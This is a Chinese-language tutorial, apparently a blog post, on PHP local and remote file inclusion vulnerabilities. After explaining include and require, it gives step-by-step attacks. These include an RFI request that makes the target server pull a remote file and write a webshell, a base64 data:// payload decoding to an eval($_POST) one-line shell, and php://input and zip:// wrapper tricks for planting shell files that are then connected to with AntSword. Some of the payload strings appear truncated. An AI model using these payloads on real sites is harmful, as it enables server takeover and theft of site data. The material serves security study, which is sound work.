首先要说明的一点是:文件包含不是漏洞,任意文件包含才是漏洞
文件包含漏洞:即file inclusion
指当服务器开启allow_url_include
选项时,就可以通过PHP的某些特性函数(include(),require()
和include_once(),requir_once()
),去包含任意文件。此时如果对文件来源不严格过滤审查,就容易包含恶意文件。而攻击者可以通过构造这个恶意文件来达到目的。
1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备的include、require等函数
LFI:local fileinclude 本地文件包含漏洞,被包含的文件在服务器本地
RFI:remote file include 远程文件包含漏洞,被包含的文件在第三方服务器(如站库分离)
远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1.配合文件上传漏洞Getshell (常见图片马中)
2.可执行任意脚本代码
3.可导致网站源码文件及配置文件泄露
4.远程包含GetShell
5.控制整个网站甚至服务器
include()
:包含并运行指定文件,当包含外部文件发生错误时,系统会给出警告信息,但整个php文件依旧继续执行
include_once()
: 功能如上,但是在执行此函数前会先检测下文件是否被导入过。如果已经执行过就不重复执行
require()
: 和include()功能相同,但是如果require()执行有错误,函数会输出错误信息,并终止运行php文件
require_once()
: 功能同require(),但会在执行此函数前会先检测下文件是否被导入过。如果已经执行过就不重复执行
在在网站上有两个文件,11.php,22.php
11.php包含了22.php
1.php
$a=$_REQUEST['123'];
include ('2.php');
?>
2.php
phpinfo();
?>
所以执行11.php的时候,顺带着把22.php也执行了
当然,现实中不会这么直接就是include ('22.php')
,可以通过?
传递参数
如1.php
$a=$_REQUEST['123'];
include ($a);
?>
2.php
fputs(fopen('cy.php','w'),'');?>
用蚁剑连接成功
远程文件包含的注意点:
1). 需要php.ini中allow_url_include = on
以及allow_url_fopen=on
2). 所包含远程服务器的文件后缀不能与目标服务器语言相同。
比如:
如果远程服务器是php脚本语言解析,则不能远程包含php文件
如果远程服务器是jsp脚本语言解析,则不能远程包含jsp文件
1.php
$a=$_GET['123'];
include ($a);
?>
2.txt
fputs(fopen('muma.php','w'),'');?>
比如上面的1.php在ip地址为123.45.56.78的服务器上;2.txt
在ip为234.56.78.91的服务器上——不管ip为234.56.78.9的服务器是php脚本解析还是jsp解析,使用txt后缀总是无错的;本地ip为11.11.11.11(ip纯属乱写)
则可以通过执行http://123.45.56.78/1.php?123=http://234.56.78.9/2.txt
,,从而在123.45.56.78的服务器上生成muma.php文件
最后使用蚁剑连接
网站不能或者不需要上传文件
比如伪协议中的php input
、data
,中间件的日志文件
,Session文件
,mysql
……
网站可以上传文件
如伪协议中的zip
、路径长度截断绕过
……
data方式,需要在php.ini里,设置allow_url_fopen =On
,allow_url_include =On
(PHP < 5.3.0)
造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码执行。
用法1:?123=data:text/plain,
用法2:?123=data:text/plain;base64,编码后的php代码
这里演示一下进行base64编码的代码执行
127.0.0.1/cy/1.php?123=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==
使用蚁剑连接
访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。
需要开启allow_url_include=on
,对allow_url_fopen不做要求
php input:只接受post传参
enctype=”multipart/form-data” 的时候 php://input 是无效。
如图同样以1.php文件为例
浏览,并在url上添加?123=php://input
抓包,将get改为post,并在后面添加一句话木马
fputs(fopen('shell.php','w'), '');?>
但是,不知道是不是版本的限制,只在虚拟机里成功实现 ,在自己电脑上没有成功实现
用法:?123=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
?123=zip://xxx.png#shell.php。
条件: PHP > =5.3.0,注意在windows下测试要5.3.0
并且 #
在浏览器中要编码为%23
,否则浏览器默认不会传输特殊字符。
在12345目录下有个1234.php的文件,文件内容:
<php eval($_POST[123])?>
127.0.0.1/cy/1.php/123=zip://12345.zip%2312345/1234.php